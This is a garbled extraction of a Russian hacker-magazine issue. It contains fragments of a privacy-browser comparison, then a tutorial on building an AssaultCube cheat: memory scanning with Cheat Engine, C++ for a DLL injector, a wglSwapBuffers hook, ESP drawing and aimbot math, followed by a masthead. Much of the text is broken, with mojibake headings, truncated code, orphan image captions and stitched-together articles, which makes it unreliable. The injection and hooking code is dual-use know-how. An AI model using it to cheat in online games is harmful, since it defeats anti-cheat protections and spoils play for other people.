В наши дни, когда даже неосторожный лайк чужого поста может иметь
самые неприятные последствия, делиться с окружающим миром таким объ-
емом данных — неоправданный риск. Следовательно, нужно использовать
специальные браузеры, ориентированные на повышенную конфиденциаль-
ность и безопасность. Одним из самых безопасных и защищенных считается
Tor Browser. Но эта программа предназначена не столько для защиты кон-
фиденциальности пользователя в интернете, сколько для просмотра содер-
жимого Даркнета и для серфинга в onion-сети. Поэтому его мы как раз под-
робно изучать не будем.
Существует несколько альтернативных браузеров, созданных для защиты
конфиденциальности и анонимности в интернете. Давай рассмотрим самые
известные из них и сравним их возможности. Для оценки информации,
которой эти браузеры делятся с окружающим миром, мы будем использовать
сайт BrowserLeaks. Для просмотра трафика — бесплатную программу
Portmaster, которая позволяет наглядно отслеживать соединения конкретных
приложений. Браузеры мы будем запускать в конфигурации по умолчанию,
не меняя никаких настроек.
BRAVE
• Сайт: brave.com
• Движок: Chromium
• Исходный код: открытый
• Первый выпуск: 2019 год
• Версии: Windows, Linux, Android, iOS и macOS (в том числе, ARM-based)
Если мы откроем в этом окне сайт BrowserLeaks, то увидим, что наш IP-адрес
и геолокация изменились. Это позволяет скрывать реальное местополо-
жение без использования VPN. Правда, BrowserLeaks сумел определить, что
новый IP-адрес принадлежит выходной ноде сети Tor. Некоторые сайты бло-
кируют доступ пользователям Tor-сети, это нужно учитывать.
Brave в Portmaster
Продолжение статьи →
ПРИВАТНОСТЬ ← НАЧАЛО СТАТЬИ
СОСТЯЗАНИЕ
В ПРИВАТНОСТИ
СРАВНИВАЕМ БЕЗОПАСНЫЕ БРАУЗЕРЫ 2023
ГОДА
EPIC
• Сайт: epicbrowser.com
• Движок: Chromium
• Исходный код: закрытый
• Первый выпуск: 2013 год
• Версии: Windows, macOS, Android
Epic в Portmaster
Epic Fail
Epic Fail
• Сайт: avast.com/secure-browser
• Движок: Chromium
• Исходный код: закрытый
• Первый выпуск: 2016 год
• Версии: Windows, macOS, iOS, Android
Браузер сообщает нам, что сотрудники Avast очень хотят кушать, поэтому
некоторую рекламу и всякие шпионские штуки от их партнеров браузер
все-таки будет пропускать. Иными словами, защита твоей конфиденциаль-
ности браузером Avast заканчивается примерно там, где эту самую кон-
фиденциальность можно выгодно продать. Ничего личного, просто бизнес!
Ладно, положим, без полноценной защиты мы как-нибудь обойдемся,
но давай хотя бы попробуем скрыть наше реальное местоположение
с помощью Protected VPN — встроенного прокси, который предлагает нам
Avast. Попробуем включить его... Ой, а что это?
Avast в Portmaster
В целом можно сказать, что Avast Secure Browser имеет все те же функции,
что предлагают другие бесплатные приватные браузеры. Но некоторые
из них — за деньги.
COMODO DRAGON
• Сайт: comodo.com
• Движок: Chromium/Firefox
• Исходный код: закрытый
• Первый выпуск: 2010 год
• Версии: Windows
Comodo Dragon
Продолжение статьи →
ПРИВАТНОСТЬ ← НАЧАЛО СТАТЬИ
СОСТЯЗАНИЕ
В ПРИВАТНОСТИ
СРАВНИВАЕМ БЕЗОПАСНЫЕ БРАУЗЕРЫ 2023
ГОДА
WATERFOX
• Сайт: waterfox.net
• Движок: Firefox
• Исходный код: открытый
• Первый выпуск: 2011 год
• Версии: Windows, macOS, Linux
Waterfox на GitHub
Исходные коды Waterfox можно найти на GitHub. Сейчас этот проект нас-
читывает более 4700 участников (contributors), что довольно много. Хотя
в 2011 году его развитием занимался всего один человек — Алекс Контос,
которому на тот момент было 16 лет. В 2019 году права на Waterfox приобре-
ло рекламное агентство System1.
На сайте BrowserLeaks Waterfox показывает в целом такие же результаты,
как и обычный Firefox. Примечательно, что он опознает браузер как Firefox
версии 102.0, в то время как актуальная версия нативного Firefox — 111.0.
Это означает, что редакция лежащего в основе Waterfox браузера слегка
устарела, хотя и не слишком.
IRON
• Сайт: srware.net/iron/
• Движок: Chromium
• Исходный код: закрытый
• Первый выпуск: 2008 год
• Версии: Windows, macOS, Linux, Android
Iron в Portmaster
LIBREWOLF
• Сайт: librewolf.net
• Движок: Firefox
• Исходный код: открытый
• Первый выпуск: 2021 год
• Версии: Windows, macOS, Linux
LibreWolf — настройки
LibreWolf в BrowserLeaks
LibreWolf в BrowserLeaks
LibreWolf в Portmaster
ÂÛÂÎÄÛ
СМОТРИМ СКВОЗЬ
СТЕНЫ И ДЕЛАЕМ
АВТОПРИЦЕЛИВАНИЕ
ДЛЯ 3D-ШУТЕРА
INFO
В предыдущей статье «Чит своими руками.
Вскрываем компьютерную игру и пишем трейнер
на C++» я заложил базу для будущих читов и объ-
яснил основные понятия. Рекомендую озна-
комиться с ней, чтобы лучше понимать, что мы
будем сегодня делать.
ÂÛÁÎÐ ÈÃÐÛ
WARNING
Использование читов нарушает пользовательское
соглашение игры и может повлечь юридическое
преследование. Мы обсуждаем здесь создание
чита исключительно в целях обучения. Автор
и редакция не несут ответственности за воз-
можные последствия применения и распростра-
нения такого ПО.
ÏÎÈÑÊ ÇÍÀ×ÅÍÈÉ
Для начала запустим игру и в настройках выберем оконный режим, ведь нам
нужно, чтобы на экране помещалось еще что-то, кроме игры.
Оконный режим
Запуск сервера
И подключаемся к нему.
Подключение к серверу
Получение урона
Будем наносить урон до тех пор, пока не найдем адрес, по которому хранится
показатель здоровья нашего игрока.
Найденный адрес HP
Найденная инструкция
Структура
Как видишь, у нас есть множество параметров для поиска указателя, но нас
интересует Max level. Это значение отвечает за то, сколько раз будет разыме-
нован наш указатель (статический адрес). Оно-то и поможет нам получить
искомый адрес.
Добавленные указатели
Добавленный указатель на HP
После перезапуска AC
Продолжение статьи →
КОДИНГ ← НАЧАЛО СТАТЬИ
ЧИТ
СВОИМИ
СМОТРИМ СКВОЗЬ СТЕНЫ И ДЕЛАЕМ
РУКАМИ
АВТОПРИЦЕЛИВАНИЕ ДЛЯ 3D-ШУТЕРА
Êëàññ èãðîêà
Предположим, что статический адрес Player_ptr_1 — тот, что мы ищем (что
на самом деле не так, правильным статическим адресом будет
Player_ptr_2, но в этом мы убедимся позже). Чтобы просмотреть класс
игрока в памяти, нажимаем правой кнопкой мыши на адрес и выбираем
Browse this memory region (или жмем Ctrl-B).
Создание структуры
Поставив галочку Guess eld type, мы попросили Cheat Engine угадать тип
поля. И он неплохо с этим справился.
Полученная структура
Проверка класса
Имя игрока
В дальнейшем нам нужен этот класс, но, к сожалению, Cheat Engine не поз-
воляет экспортировать структуру, а делать это вручную — значит подвергать
себя мучениям. Это не нужно, поскольку существует готовый инструмент —
ReClass.NET. Он дает возможность напрямую выгрузить структуру в виде кода
на C++. Скачиваем, устанавливаем и подключаемся к процессу игры.
Подключение к процессу
Настройка ReClass.NET
Присвоение типа
Ïîèñê êîîðäèíàò
Начиная с этого места, мы будем искать значения, нужные непосредственно
для реализации ESP и aimbot. Для ESP нам понадобятся координаты самого
игрока и его головы в трехмерном пространстве.
WWW
Тем, кто не знает или забыл, как работает трех-
мерная система координат в компьютерной гра-
фике, рекомендую статью «3D своими руками»
на «Хабрахабре».
Координаты XYZ
Вариации координат
Pitch
Yaw
Roll
Теперь давай попробуем сделать для второго набора то, что мы делали
для первого.
Правильный выбор
Становимся на высоту
Продолжение статьи →
КОДИНГ ← НАЧАЛО СТАТЬИ
ЧИТ
СВОИМИ
СМОТРИМ СКВОЗЬ СТЕНЫ И ДЕЛАЕМ
РУКАМИ
АВТОПРИЦЕЛИВАНИЕ ДЛЯ 3D-ШУТЕРА
Наши координаты
Наши значения
Вот так теперь выглядит наш класс. Но что за VTable? Это поле не нужно, я
добавил его для красоты. Подробнее о том, что это и зачем, можешь про-
читать в статье Understandig Virtual Tables in C++.
Наш класс
Экспортируем
Entity List
С нашим игроком мы разобрались, а как быть с другими игроками? Обычно
где-то есть огромный список всех игровых сущностей, в который входят
и персонажи игроков. Можно предположить, что где-то в коде должен сущес-
твовать и цикл, который перебирает игроков, и дальше с их данными как-то
взаимодействует логика игры. Попробуем оттолкнуться от показателя здо-
ровья и поискать, какие инструкции его запрашивают.
Правильный адрес
Имя игрока
Добавляем адрес
Цикл сущностей
"ac_client.exe"+0018AC04
Список сущностей
Количество игроков
Последовательность преобразований
Смотрим вверх
Смотрим вниз
Измененный вид
Продолжение статьи →
КОДИНГ ← НАЧАЛО СТАТЬИ
ЧИТ
СВОИМИ
СМОТРИМ СКВОЗЬ СТЕНЫ И ДЕЛАЕМ
РУКАМИ
АВТОПРИЦЕЛИВАНИЕ ДЛЯ 3D-ШУТЕРА
ÍÀÏÈÑÀÍÈÅ ×ÈÒÀ
Injector
Код инжектора выглядит следующим образом.
#include <windows.h>
#include <tlhelp32.h>
int main(void) {
HANDLE process;
void* alloc_base_addr;
HMODULE kernel32_base;
LPTHREAD_START_ROUTINE LoadLibraryA_addr;
HANDLE thread;
HANDLE snapshot = 0;
PROCESSENTRY32 pe32 = { 0 };
DWORD exitCode = 0;
pe32.dwSize = sizeof(PROCESSENTRY32);
do {
// Мы хотим работать только с процессом AC
if (wcscmp(pe32.szExeFile, L"ac_client.exe") == 0) {
return 0;
}
DLL
Наша библиотека будет состоять из следующих модулей:
• главный модуль — dllmain.cpp;
• модуль смещений в игре и игровых структур — structures.h;
• модуль хуков — hook.cpp и hook.h;
• модуль рисования — gl_draw.cpp и gl_draw.h.
Ãëàâíûé ìîäóëü
При загрузке нашей библиотеки через функцию LoadLibraryA создается
поток, в котором будет работать основная логика нашего чита. А именно:
• получение указателей на нужные нам поля;
• установка хука на функцию отрисовки сцен;
• цикл, в котором реализовано включение и отключение хаков, завершение
работы чита;
• функция, рисующая меню;
• хаки ESP и aimbot.
Приступим к реализации!
include <iostream>
#include <string>
#include <tchar.h>
#include <thread>
#include <mutex>
#define _USE_MATH_DEFINES
#include <math.h>
#include "hook.h"
#include "structures.h"
#include "gl_draw.h"
// Переменная игрока
Player* player;
// Переменная синхронизации
std::mutex hook_mutex;
Tramp_Hook* esp_hook;
// Меню
void draw_menu(bool flag_esp) {
if (flag_esp) {
esp += "ON press F1 to OFF";
}
else {
esp += "OFF press F1 to ON";
}
if (aimbot_enabled) {
aimbot += "ON press F2 to OFF";
}
else {
aimbot += "OFF press F2 to ON";
}
draw_menu(esp_hook->is_enabled());
if (esp_hook->is_enabled()) {
// Настроить орфографический режим
GL::setup_orthographic();
if (*player_list_size == list_size) {
for (int i = 0; i < list_size; ++i) {
// Рассчитываем рыскание
float azimuth_xy = atan2f(abspos_y, abspos_x);
// Переводим в градусы
float yaw = (float)(azimuth_xy * (180.0 / M_PI));
// Добавляем 90, так как игра предполагает, что
прямой север равен 90 градусам
closest_yaw = yaw + 90;
// Рассчитываем тангаж
// Поскольку значения Z настолько ограничены,
выбирай большее значение между X и Y, чтобы убедиться, что мы не
смотрим прямо в небо, когда находимся рядом с врагом
if (abspos_y < 0) {
abspos_y *= -1;
}
if (abspos_y < 5) {
if (abspos_x < 0) {
abspos_x *= -1;
}
abspos_y = abspos_x;
}
float azimuth_z = atan2f(abspos_z, abspos_y);
// Преобразовываем значение в градусы
closest_pitch = (float)(azimuth_z * (180.0 / M_PI
));
}
hook_mutex.unlock();
return ret_value;
}
if (!open_gl) {
return -1; // OpenGL не загружен
}
while (!GetAsyncKeyState(VK_F3)) {
if (GetAsyncKeyState(VK_F1) & 1) { // Включить ESP
esp_hook->is_enabled() ? esp_hook->disable() : esp_hook->
enable();
}
if (GetAsyncKeyState(VK_F2) & 1) { // Включить aimbot
aimbot_enabled = !aimbot_enabled;
}
Sleep(50);
}
hook_mutex.lock();
// Удаление хука
delete esp_hook;
hook_mutex.unlock();
#pragma once
#include "gl_draw.h"
class Player {
public:
DWORD* vftable; // 0x00
Vector3 x_y_z_head; // 0x04
BYTE pad_0010[24]; // 0x10
Vector3 x_y_z_player; // 0x28
Vector3 yaw_pitch_roll; // 0x34
BYTE pad_0040[172]; // 0x40
DWORD hp; // 0xEC
DWORD armor; // 0xF0
BYTE pad_00F4[273]; // 0xF4
BYTE name[16]; // 0x205
BYTE pad_0215[247]; // 0x215
BYTE team; // 0x30C
};
Ìîäóëü õóêîâ
Это модуль, в котором будет перехватываться функция wglSwapBuffers,
отвечающая за отрисовку сцен. Это необходимо для того, чтобы рисовать
наше меню и боксы ESP.
hook.h
#pragma once
#include <windows.h>
#include <memory>
// Класс перехватчика
class Hook {
// Указатель на перехватчик
void* this_to_hook;
// Сохраненные старые опкоды
std::unique_ptr<char[]> old_opcodes;
// Длина перезаписанных инструкций
int this_len;
// Включен ли перехватчик
bool enabled;
public:
// Конструктор для перехватчика
Hook(void* to_hook, void* our_func, int len);
// Деструктор для восстановления исходного кода
~Hook();
// Включить перехватчик
void enable();
// Отключить перехватчик
void disable();
// Включен ли перехватчик
bool is_enabled();
};
Продолжение статьи →
КОДИНГ ← НАЧАЛО СТАТЬИ
ЧИТ
СВОИМИ
РУКАМИ
СМОТРИМ СКВОЗЬ СТЕНЫ И ДЕЛАЕМ
АВТОПРИЦЕЛИВАНИЕ ДЛЯ 3D-ШУТЕРА
hook.cpp
#include "hook.h"
DWORD curr_protection;
// Сделать доступной для записи память с кодом, который мы хотим
перезаписать
VirtualProtect(to_hook, len, PAGE_EXECUTE_READWRITE, &
curr_protection);
Hook::~Hook() {
if (old_opcodes != nullptr) {
DWORD curr_protection;
// Сделать память доступной для записи
VirtualProtect(this_to_hook, this_len, PAGE_EXECUTE_READWRITE
, &curr_protection);
// Записать старые опкоды обратно в перехваченное место
for (int i = 0; i < this_len; ++i) {
((char*)this_to_hook)[i] = Hook::old_opcodes[i];
}
// Восстановить старую защиту памяти
VirtualProtect(this_to_hook, this_len, curr_protection, &
curr_protection);
}
}
void Hook::enable() {
this->enabled = true;
}
void Hook::disable() {
this->enabled = false;
}
bool Hook::is_enabled() {
return enabled;
}
// Создание перехватчика
managed_hook = new Hook(to_hook, our_func, len);
}
Tramp_Hook::~Tramp_Hook() {
managed_hook->disable();
delete managed_hook;
VirtualFree(gateway, 0, MEM_RELEASE);
}
void Tramp_Hook::enable() {
managed_hook->enable();
}
void Tramp_Hook::disable() {
managed_hook->disable();
}
bool Tramp_Hook::is_enabled() {
return managed_hook->is_enabled();
}
void* Tramp_Hook::get_gateway() {
return gateway;
}
Ìîäóëü ðèñîâàíèÿ
Здесь у нас функции для непосредственной отрисовки меню и боксов ESP.
gl_draw.h
#pragma once
#pragma comment(lib, "OpenGL32.lib")
#include <windows.h>
#include<gl/GL.h>
struct Vector3 {
float x, y, z;
};
struct Vector4 {
float x, y, z, w;
};
gl_draw.cpp
#include "gl_draw.h"
#include <corecrt_math.h>
#include <stdio.h>
HDC h_DC;
HFONT h_old_font;
HFONT h_font;
UINT font_base;
bool b_font_build = 0;
void GL::setup_orthographic() {
// Cохранение атрибутов
glPushAttrib(GL_ALL_ATTRIB_BITS);
// Сохранение матрицы вида
glPushMatrix();
// Размеры экрана
GLint view_port[4];
// Получение размеров экрана
glGetIntegerv(GL_VIEWPORT, view_port);
// Установка размера экрана
glViewport(0, 0, view_port[2], view_port[3]);
glMatrixMode(GL_PROJECTION);
glLoadIdentity();
void GL::restore_gl() {
// Восстановление матрицы вида
glPopMatrix();
// Восстановление всех атрибутов
glPopAttrib();
}
void GL::build_font()
{
h_DC = wglGetCurrentDC();
font_base = glGenLists(96);
h_font = CreateFont(-12, 0, 0, 0, FW_NORMAL, FALSE, FALSE, FALSE,
ANSI_CHARSET, OUT_TT_PRECIS, CLIP_DEFAULT_PRECIS, PROOF_QUALITY,
FF_DONTCARE | DEFAULT_PITCH, L"Courier");
h_old_font = (HFONT)SelectObject(h_DC, h_font);
wglUseFontBitmaps(h_DC, 32, 96, font_base);
SelectObject(h_DC, h_old_font);
DeleteObject(h_font);
b_font_build = true;
}
if (fmt == NULL) {
return;
}
glRasterPos2i(x, y);
char text[256];
va_list ap;
va_start(ap, fmt);
vsprintf(text, fmt, ap);
va_end(ap);
glPushAttrib(GL_LIST_BIT);
glListBase(font_base - 32);
glCallLists(strlen(text), GL_UNSIGNED_BYTE, text);
glPopAttrib();
}
// Snap lines
GL::draw_line(view_port[2] / 2.0f, (float)view_port[3], pos_x,
pos_y, line_width + 2.0f, rgb::black);
GL::draw_line(view_port[2] / 2.0f, (float)view_port[3], pos_x,
pos_y, line_width, color);
// Очертания
GL::draw_out_line(pos_x - (width / 2), pos_y - height, width,
height, line_width + 2.0f, rgb::black);
GL::draw_out_line(pos_x - (width / 2), pos_y - height, width,
height, line_width, color);
// Здоровье
if (health != -1) {
float perc = (width / 100);
float curr = perc * health;
// Броня
if (armor != -1) {
float perc = (width / 100);
float curr = perc * armor;
// Имя
GL::print_gl(pos_x - (width / 2), (pos_y - (height / 4)) - height
, rgb::yellow,(char *)text);
}
ÏÐÎÂÅÐÊÀ ÐÀÁÎÒÎÑÏÎÑÎÁÍÎÑÒÈ
Меню чита
ÂÛÂÎÄÛ
TL;DR
Если хочешь публиковаться в «Хакере», придумай тему для первой статьи
и предложи редакции.
№3 (288)
Андрей Письменный Валентин Холмогоров Илья Русанен
Главный редактор Ведущий редактор Разработка
pismenny@glc.ru valentin@holmogorov.ru rusanen@glc.ru
Евгения Шарипова
Литературный редактор
MEGANEWS
Мария Нефёдова
nefedova@glc.ru
АРТ
yambuto
yambuto@gmail.com
КОНСУЛЬТАЦИОННЫЙ СОВЕТ
Иван Андреев, Олег Афонин,
Марк Бруцкий‑Стем‐
пковский, Алексей Глазков,
Nik Zerof, Юрий Язев
РЕКЛАМА
Анна Яковлева
Директор по спецпроектам
yakovleva.a@glc.ru
РАСПРОСТРАНЕНИЕ И ПОДПИСКА
Вопросы о подписке: Вопросы о материалах:
lapina@glc.ru support@glc.ru
Адрес редакции: 125080, город Москва, Волоколамское шоссе, дом 1, строение 1, этаж 8, помещение IX, комната 54, офис 7. Издатель: ИП
Югай Александр Олегович, 400046, Волгоградская область, г. Волгоград, ул. Дружбы народов, д. 54. Учредитель: ООО «Медиа Кар» 125080,
город Москва, Волоколамское шоссе, дом 1, строение 1, этаж 8, помещение IX, комната 54, офис 7. Зарегистрировано в Федеральной службе
по надзору в сфере связи, информационных технологий и массовых коммуникаций (Роскомнадзоре), свидетельство Эл № ФС77-67001 от 30.
08.2016 года. Мнение редакции не обязательно совпадает с мнением авторов. Все материалы в номере предоставляются как информация
к размышлению. Лица, использующие данную информацию в противозаконных целях, могут быть привлечены к ответственности. Редакция
не несет ответственности за содержание рекламных объявлений в номере. По вопросам лицензирования и получения прав на использование
редакционных материалов журнала обращайтесь по адресу: xakep@glc.ru. © Журнал «Хакер», РФ, 2022